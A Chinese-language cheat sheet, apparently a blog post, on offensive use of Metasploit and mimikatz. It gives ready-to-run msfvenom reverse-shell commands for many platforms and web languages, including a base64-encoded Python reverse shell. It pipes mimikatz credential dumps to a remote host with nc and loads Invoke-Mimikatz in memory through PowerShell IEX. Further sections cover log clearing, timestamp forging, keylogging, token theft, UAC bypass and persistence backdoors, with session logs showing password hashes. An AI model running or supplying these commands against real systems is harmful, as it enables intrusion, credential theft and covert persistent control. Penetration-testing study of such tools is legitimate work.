metasploit framework的一些使用姿势
metasploit framework的一些使用姿势
前言
记录一些metasploit framework的使用姿势
一、MSF
-p, --payload <payload> 指定需要使用的payload(攻击荷载)
-l, --list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder（编码器）
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集，比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作，注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量，以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表1、关于tomcat口令暴力猜解模块
use auxiliary/scanner/http/tomcat_mgr_login
show options
set rhosts 192.168.2.147
set RPORT 8080
run
注意：tomcat默认每个账号登陆5次失败后，账户就会被锁定
2、建立windows反弹shell
1.生成windows反弹shell1.生成windows反弹shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=2x.94.50.153 LPORT=4433 -f exe -o 4433.exe
//LHOST为公网IP
//LPORT为反弹端口
//4433.exe为生成文件
2.获取监听IP与端口
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 2xx.94.50.153
msf5 exploit(multi/handler) > set LPORT 4433
msf5 exploit(multi/handler) > run
3.反弹成功
meterpreter > sysinfo
Computer : WIN-UKKED2CCSHJ
OS : Windows 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x86/windows
meterpreter > getuid
Server username: IIS APPPOOL\padt0023、msf建立linux反弹shell
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=2x.94.50.153 LPORT=4433 -f elf > payload.elf
//LHOST为公网IP
//LPORT为反弹端口
//4433.exe为生成文件4、msf建立persistence持久化
Meterpreter的persistence脚本允许注入Meterpreter代理，以确保系统重启之后Meterpreter还能运行。
- 如果是反弹连接方式，可以设置连接攻击机的时间间隔
- 如果是绑定方式，可以设置在指定时间绑定开放端口。
我们运行persistence脚本让系统开机自启动，启动命令为
meterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor on a target host.
OPTIONS:
-A Automatically start a matching exploit/multi/handler to connect to the agent
-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i <opt> The interval in seconds between each connection attempt
-p <opt> The port on which the system running Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back
meterpreter > run persistence -X -i 10 -p 6666 -r 192.168.71.105
//Meterpreter(-X)，10秒(-i 10) 重连一次，使用端口为6666(-p 6666)，连接的目的IP为 192.168.71.105
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/WUST-3E75F1D708_20160106.3022/WUST-3E75F1D708_20160106.3022.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.71.105 LPORT=6666
[*] Persistent agent script is 148426 bytes long
[+] Persistent Script written to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SIjvSmRq.vbs
[*] Starting connection handler at port 6666 for windows/meterpreter/reverse_tcp
[+] exploit/multi/handler started!
[*] Executing script C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SIjvSmRq.vbs
[+] Agent executed with PID 1308
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DNXmKhNlKXyA
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DNXmKhNlKXyA
meterpreter >
[*] Sending stage (885806 bytes) to 192.168.71.112
[*] Meterpreter session 2 opened (192.168.71.105:6666 -> 192.168.71.112:1086) at 2016-01-06 20:30:26 +0800
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.71.112 - Meterpreter session 1 closed. Reason: User exit
msf exploit(handler) > sessions -i
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
2 meterpreter x86/win32 WUST-3E75F1D708\Administrator @ WUST-3E75F1D708 192.168.71.105:6666 -> 192.168.71.112:1086 (192.168.71.112)
msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...
meterpreter >
自动化的脚本在C:\Documents and Settings\Administrator\Local Settings\Temp\下
自动化以后下次可以直接在msf下打开会话：
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.71.105
lhost => 192.168.71.105
msf exploit(handler) > set lport 6666
lport => 6666
msf exploit(handler) > run
[*] Sending stage (885806 bytes) to 192.168.71.112
[*] Meterpreter session 3 opened (192.168.71.105:6666 -> 192.168.71.112:1098) at 2016-01-06 21:05:58 +0800
5、可执行程序
Linux
反向连接：
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
正向连接：
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elfWindows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exeMac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho执行方式：直接复制可执行程序到目标机器上执行就行了。
6、Web Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.phpASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.aspJSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jspWAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war执行方式：将shell.php放在web目录下，使用浏览器访问，或者使用以下命令执行：
php shell.php7、脚本shell
Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pyBash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.shPerl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl执行方式：复制shell.py中的内容在linux命令行下执行：
python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"8、shellcode
Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>Windows Based Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Mac Based Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
想要免杀，还是需要用shellcode。
二、mimikatz
1、获取密码方法
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load mimikatz
Loading extension mimikatz...Success.
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;334101 NTLM chenglee-PC chenglee lm{ 9cffd5e7eefa14babacbf0b4adf55fde }, ntlm{ 8d0f8e1a18236379538411a9056799f5 }
0;334068 NTLM chenglee-PC chenglee lm{ 9cffd5e7eefa14babacbf0b4adf55fde }, ntlm{ 8d0f8e1a18236379538411a9056799f5 }
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;996 Negotiate WORKGROUP CHENGLEE-PC$ n.s. (Credentials KO)
0;49101 NTLM n.s. (Credentials KO)
0;999 NTLM WORKGROUP CHENGLEE-PC$ n.s. (Credentials KO)
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;996 Negotiate WORKGROUP CHENGLEE-PC$
0;49101 NTLM
0;999 NTLM WORKGROUP CHENGLEE-PC$
0;334101 NTLM chenglee-PC chenglee lizhenghua
0;334068 NTLM chenglee-PC chenglee lizhenghua
meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : chenglee-PC
BootKey : 0648ced51b6060bed1a3654e0ee0fd93
Rid : 500
User : Administrator
LM :
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
Rid : 501
User : Guest
LM :
NTLM :
Rid : 1000
User : chenglee
LM :
NTLM : 8d0f8e1a18236379538411a9056799f5
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { chenglee ; chenglee-PC ; lizhenghua }
[1] { chenglee ; chenglee-PC ; lizhenghua }
[2] { chenglee ; chenglee-PC ; lizhenghua }
[3] { chenglee ; chenglee-PC ; lizhenghua }
[4] { chenglee-PC ; chenglee ; lizhenghua }
[5] { chenglee-PC ; chenglee ; lizhenghua }
meterpreter >
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Administrator ; CLOUDVM ; 1244567 }
[1] { Administrator ; CLOUDVM ; 1244567 }2、非交互式抓取密码
# 1.导出至shash.txt
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> shash.txt
# 2.直接导出到vps，本地无痕迹
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit | nc 192.168.2.134 44443、wdigest
meterpreter > wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
===================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;996 Negotiate WORKGROUP CHENGLEE-PC$
0;49101 NTLM
0;999 NTLM WORKGROUP CHENGLEE-PC$
0;334101 NTLM chenglee-PC chenglee lizhenghua
0;334068 NTLM chenglee-PC chenglee lizhenghua4、tspkg
meterpreter > tspkg
[+] Running as SYSTEM
[*] Retrieving tspkg credentials
tspkg credentials
=================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;996 Negotiate WORKGROUP CHENGLEE-PC$
0;49101 NTLM
0;999 NTLM WORKGROUP CHENGLEE-PC$
0;334101 NTLM chenglee-PC chenglee lizhenghua
0;334068 NTLM chenglee-PC chenglee lizhenghua5、免杀方式
# 1.使用powershell，下载脚本，内存中执行
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
# 2.Procdump + Mimikatz
# procdump 下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
# 先进程导出
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# 再本地还原
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full三、meterpreter基本命令
1、系统命令
基本系统命令
sessions
//sessions –h 查看帮助
sessions -l
//列出当前会话
sessions -i <ID值>
//进入会话
sessions -k
//杀死会话
background
//将当前会话放置后台
run
//执行已有的模块，输入run后按两下tab，列出已有的脚本
info
//查看已有模块信息
getuid
//查看权限
getpid
//获取当前进程的pid
sysinfo
//查看目标机系统信息
ps
//查看当前活跃进程
kill <PID值>
//杀死进程
idletime
//查看目标机闲置时间
reboot
shutdown
//重启/关机
shell
//进入目标机cmd shellexecute执行文件
execute
//在目标机中执行文件
execute -H -i -f cmd.exe
//创建新进程cmd.exe，-H不可见，-i交互clearev清除日志
clearev #清除windows中的应用程序日志、系统日志、安全日志2、文件系统命令
基本文件系统命令
getwd
pwd
//查看当前工作目录
ls
//列出当前目录
cd
//跳转目录
search -f *pass*
//搜索文件 -h查看帮助
cat c:\\lltest\\lltestpasswd.txt
//查看文件内容
upload /tmp/hack.txt C:\\lltest
//上传文件到目标机上
download c:\\lltest\\lltestpasswd.txt /tmp/
//下载文件到本机上
edit c:\\1.txt
//编辑或创建文件，没有的话，会新建文件
rm C:\\lltest\\hack.txt
//删除文件
mkdir lltest2
//只能在当前目录下创建文件夹
rmdir lltest2
//只能删除当前目录下文件夹
getlwd
lpwd
//操作攻击者主机 查看当前目录
lcd /tmp
//操作攻击者主机 切换目录timestomp伪造时间戳
timestomp C:// -h
//查看帮助
timestomp -v C://2.txt
//查看时间戳
timestomp C://2.txt -f C://1.txt
//将1.txt的时间戳复制给2.txt3、网络命令
# 基本
ipconfig/ifconfig
netstat –ano
arp
getproxy #查看代理信息
route #查看路由
# portfwd端口转发
portfwd add -l 6666 -p 3389 -r 127.0.0.1 # 将目标机的3389端口转发到本地6666端口
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接，-u 用户名 -p 密码
# autoroute添加路由
run autoroute –h #查看帮助
run autoroute -s 192.168.2.0/24 #添加到目标环境网络
run autoroute –p #查看添加的路由
# 然后可以利用arp_scanner、portscan等进行扫描
run arp_scanner -r 192.168.2.0/24
run post/multi/gather/ping_sweep RHOSTS=192.168.2.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.2.0
# autoroute添加完路由后，还可以利用msf自带的模块进行socks代理
# msf提供了3个模块用来做socks代理。
# auxiliary/server/socks4a
# use auxiliary/server/socks5
# use auxiliary/server/socks_unc
# 先background退出来，然后：
use auxiliary/server/socks4a
set srvhost 127.0.0.1
set srvport 1080
run
# 然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080
# 最后proxychains 使用Socks4a代理访问
# sniffer抓包
use sniffer
sniffer_interfaces #查看网卡
sniffer_start 2 #选择网卡 开始抓包
sniffer_stats 2 #查看状态
sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包
sniffer_stop 2 #停止抓包4、提权
（1）getsystem
getsystemgetsystem工作原理：
- getsystem创建一个新的Windows服务，设置为SYSTEM运行，当它启动时连接到一个命名管道。
- getsystem产生一个进程，它创建一个命名管道并等待来自该服务的连接。
- Windows服务已启动，导致与命名管道建立连接。
- 该进程接收连接并调用ImpersonateNamedPipeClient，从而为SYSTEM用户创建模拟令牌。
- 然后用新收集的SYSTEM模拟令牌产生cmd.exe，并且我们有一个SYSTEM特权进程。
（2）bypassuac
用户帐户控制（UAC）是微软在 Windows Vista 以后版本引入的一种安全机制，有助于防止对系统进行未经授权的更改。应用程序和任务可始终在非管理员帐户的安全上下文中运行，除非管理员专门给系统授予管理员级别的访问权限。UAC 可以阻止未经授权的应用程序进行自动安装，并防止无意中更改系统设置。
msf提供了如下几个模块帮助绕过UAC：
msf5 auxiliary(server/socks5) > search bypassuac
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/local/bypassuac 2010-12-31 excellent No Windows Escalate UAC Protection Bypass
1 exploit/windows/local/bypassuac_comhijack 1900-01-01 excellent Yes Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
2 exploit/windows/local/bypassuac_eventvwr 2016-08-15 excellent Yes Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
3 exploit/windows/local/bypassuac_fodhelper 2017-05-12 excellent Yes Windows UAC Protection Bypass (Via FodHelper Registry Key)
4 exploit/windows/local/bypassuac_injection 2010-12-31 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection)
5 exploit/windows/local/bypassuac_injection_winsxs 2017-04-06 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
6 exploit/windows/local/bypassuac_sluihijack 2018-01-15 excellent Yes Windows UAC Protection Bypass (Via Slui File Handler Hijack)
7 exploit/windows/local/bypassuac_vbs 2015-08-22 excellent No Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)使用方法类似，运行后返回一个新的会话，需要再次执行getsystem获取系统权限
# 示例
meterpreter > getuid
Server username: SAUCERMAN\TideSec
meterpreter > background
[*] Backgrounding session 4...
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac
msf5 exploit(windows/local/bypassuac) > set SESSION 4
SESSION => 4
msf5 exploit(windows/local/bypassuac) > run
[-] Handler failed to bind to 192.168.81.160:4444:- -
[-] Handler failed to bind to 0.0.0.0:4444:- -
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (206403 bytes) to 192.168.81.154
[*] Meterpreter session 5 opened (192.168.81.160:4444 -> 192.168.81.154:1134) at 2019-06-12 06:31:11 -0700
[-] Exploit failed [timeout-expired]: Timeout::Error execution expired
[*] Exploit completed, but no session was created.
# 然后返回新的meterpreter会话，继续执行getsystem本应该会提权成功
# 然鹅这里失败了（3）内核漏洞提权
无论是linux还是windows都出过很多高危的漏洞，我们可以利用它们进行权限提升，比如windows系统的ms13-081、ms15-051、ms16-032、ms17-010等，msf也集成了这些漏洞的利用模块。
meterpreter > run post/windows/gather/enum_patches #查看补丁信息
msf5 > use exploit/windows/local/ms13_053_schlamperei
msf5 > set SESSION 2
msf5 > exploit
# 示例
meterpreter > run post/windows/gather/enum_patches
[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)
[+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008
[+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2
[+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity
[+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1
[+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1
meterpreter > background
[*] Backgrounding session 4...
msf5 exploit(windows/local/bypassuac) > search MS13-081
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/local/ms13_081_track_popup_menu 2013-10-08 average Yes Windows TrackPopupMenuEx Win32k NULL Page
msf5 exploit(windows/local/bypassuac) > use exploit/windows/local/ms13_081_track_popup_menu
msf5 exploit(windows/local/ms13_081_track_popup_menu) > set session 4
session => 4
msf5 exploit(windows/local/ms13_081_track_popup_menu) > exploit
[!] SESSION may not be compatible with this module.
[-] Handler failed to bind to 192.168.81.160:4444:- -
[-] Handler failed to bind to 0.0.0.0:4444:- -
[-] Exploit aborted due to failure: no-target: Running against 64-bit systems is not supported
[*] Exploit completed, but no session was created.
# 然鹅失败了，摸摸头5、远程桌面&截屏
enumdesktops
//查看可用的桌面
getdesktop
//获取当前meterpreter 关联的桌面
set_desktop
//设置meterpreter关联的桌面 -h查看帮助
screenshot
//截屏
use espia
//或者使用espia模块截屏 然后输入screengrab
run vnc
//使用vnc远程桌面连接getgui命令
run getgui –h
//查看帮助
run getgui -e
//开启远程桌面
run getgui -u lltest2 -p 123456
//添加用户
run getgui -f 6661 –e
//389端口转发到6661getgui 系统不推荐，推荐使用run post/windows/manage/enable_rdp
getgui添加用户时，有时虽然可以成功添加用户，但是没有权限通过远程桌面登陆
enable_rdp脚本
run post/windows/manage/enable_rdp
//开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456
//添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662
//将3389端口转发到6662脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知：开启rdp是通过reg修改注册表；添加用户是调用cmd.exe 通过net user添加；端口转发是利用的portfwd命令
6、键盘记录
keyscan_start
//开始键盘记录
keyscan_dump
//导出记录数据
keyscan_stop
//结束键盘记录7、信息收集
# 信息收集的脚本位于：
# modules/post/windows/gather
# modules/post/linux/gather
# 以下列举一些常用的
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控8、哈希利用-获取哈希
run post/windows/gather/smart_hashdump
//从SAM导出密码哈希,需要SYSTEM权限9、获取凭证
在内网环境中，一个管理员可能管理多台服务器，他使用的密码有可能相同或者有规律，如果能够得到密码或者hash，再尝试登录内网其它服务器，可能取得意想不到的效果。
（1）使用mimikatz
load mimikatz #help mimikatz 查看帮助
wdigest #获取Wdigest密码
mimikatz_command -f samdump::hashes #执行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords
# 示例
meterpreter > load mimikatz
Loading extension mimikatz...[!] Loaded Mimikatz on a newer OS (Windows 7 (Build 7601, Service Pack 1).). Did you mean to 'load kiwi' instead?
Success.
meterpreter > wdigest
[!] Not currently running as SYSTEM
[*] Attempting to getprivs ...
[+] Got SeDebugPrivilege.
[*] Retrieving wdigest credentials
wdigest credentials
===================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;996 Negotiate WORKGROUP SAUCERMAN$
0;48748 NTLM
0;999 NTLM WORKGROUP SAUCERMAN$
0;476238 NTLM SAUCERMAN TideSec 123456
0;476209 NTLM SAUCERMAN TideSec 123456
meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : saucerman
BootKey : 691cff33caf49e933be97fcee370256a
RegOpenKeyEx SAM : (0x00000005) ???
Erreur lors de l'exploration du registre
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { TideSec ; SAUCERMAN ; 123456 }
[1] { TideSec ; SAUCERMAN ; 123456 }
[2] { SAUCERMAN ; TideSec ; 123456 }
[3] { SAUCERMAN ; TideSec ; 123456 }
[4] { TideSec ; SAUCERMAN ; 123456 }
[5] { TideSec ; SAUCERMAN ; 123456 }（2）使用meterpreter的run hashdump命令
meterpreter > run hashdump
[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 691cff33caf49e933be97fcee370256a...
/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:134: warning: constant OpenSSL::Cipher::Cipher is deprecated
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:268: warning: constant OpenSSL::Cipher::Cipher is deprecated
/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:272: warning: constant OpenSSL::Cipher::Cipher is deprecated
/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:279: warning: constant OpenSSL::Cipher::Cipher is deprecated
[*] Dumping password hints...
TideSec:"123456"
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
TideSec:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::（3）post/windows/gather/smart\_hashdump
从上面也可以看出官方推荐post/windows/gather/smart_hashdump
meterpreter > run post/windows/gather/smart_hashdump
[*] Running module against SAUCERMAN
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /home/ubuntu/.msf4/loot/20190612084715_default_192.168.81.154_windows.hashes_439550.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 691cff33caf49e933be97fcee370256a...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
[+] TideSec:"123456"
[*] Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] TideSec:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::（4）powerdump
同 hashdump，但失败了
meterpreter > run powerdump
[*] PowerDump v0.1 - PowerDump to extract Username and Password Hashes...
[*] Running PowerDump to extract Username and Password Hashes...
[*] Uploaded PowerDump as 69921.ps1 to %TEMP%...
[*] Setting ExecutionPolicy to Unrestricted...
[*] Dumping the SAM database through PowerShell...
[-] Could not execute powerdump: Rex::Post::Meterpreter::RequestError core_channel_open: Operation failed: The system cannot find the file specified.10、假冒令牌
在用户登录windows操作系统时，系统都会给用户分配一个令牌(Token)，当用户访问系统资源时都会使用这个令牌进行身份验证，功能类似于网站的session或者cookie。
msf提供了一个功能模块可以让我们假冒别人的令牌，实现身份切换，如果目标环境是域环境，刚好域管理员登录过我们已经有权限的终端，那么就可以假冒成域管理员的角色。
# 1.incognito假冒令牌
use incognito #help incognito 查看帮助
list_tokens -u #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t # -t 使用假冒的token 执行
或者直接shell
rev2self #返回原始token
# 2.steal_token窃取令牌
steal_token <pid值> #从指定进程中窃取token 先ps
drop_token #删除窃取的token11、植入后门
Meterpreter仅仅是在内存中驻留的Shellcode，只要目标机器重启就会丧失控制权，下面就介绍如何植入后门，维持控制。
（1）persistence启动项后门
路径：metasploit/scripts/meterpreter/persistence
原理是在C:\Users***\AppData\Local\Temp\目录下，上传一个vbs脚本，在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项，
很容易被杀软拦截，官方不推荐
run persistence –h #查看帮助
run persistence -X -i 5 -p 4444 -r 192.168.81.160
#-X指定启动的方式为开机自启动，-i反向连接的时间间隔(5s) –r 指定攻击者的ip
# 示例
meterpreter > run persistence -X -i 5 -p 4444 -r 192.168.81.160
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /home/ubuntu/.msf4/logs/persistence/SAUCERMAN_20190612.4235/SAUCERMAN_20190612.4235.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.81.160 LPORT=4444
[*] Persistent agent script is 99630 bytes long
[+] Persistent Script written to C:\Users\TideSec\AppData\Local\Temp\qexwcMF.vbs
[*] Executing script C:\Users\TideSec\AppData\Local\Temp\qexwcMF.vbs
[+] Agent executed with PID 3540
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\qrsXZuPqVbEgua
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\qrsXZuPqVbEgua能实现同样功能的脚本还有：exploit/windows/local/persistence
（2）metsvc服务后门
在C:\Users***\AppData\Local\Temp\目录下，上传一个vbs脚本 在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项。**通过服务启动，需要管理员权限，官方不推荐使用，运行失败**
run metsvc –A #自动安装后门
# 示例
meterpreter > run metsvc –A
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\Users\TideSec\AppData\Local\Temp\iInvhjKZbLH...
[*] >> Uploading metsrv.x86.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
Cannot open service manager (0x00000005)
meterpreter > ls
Listing: C:\Users\TideSec\AppData\Local\Temp\iInvhjKZbLH
========================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 178688 fil 2019-06-12 06:46:20 -0700 metsrv.dll
100777/rwxrwxrwx 45056 fil 2019-06-12 06:46:21 -0700 metsvc-server.exe
100777/rwxrwxrwx 61440 fil 2019-06-12 06:46:21 -0700 metsvc.exe三个文件上传成功，但服务没有启动起来，失败了。使用-r参数可卸载服务。
（3）persistence\_exe
再来看看官方推荐的东西吧
meterpreter > info post/windows/manage/persistence_exe
Name: Windows Manage Persistent EXE Payload Installer
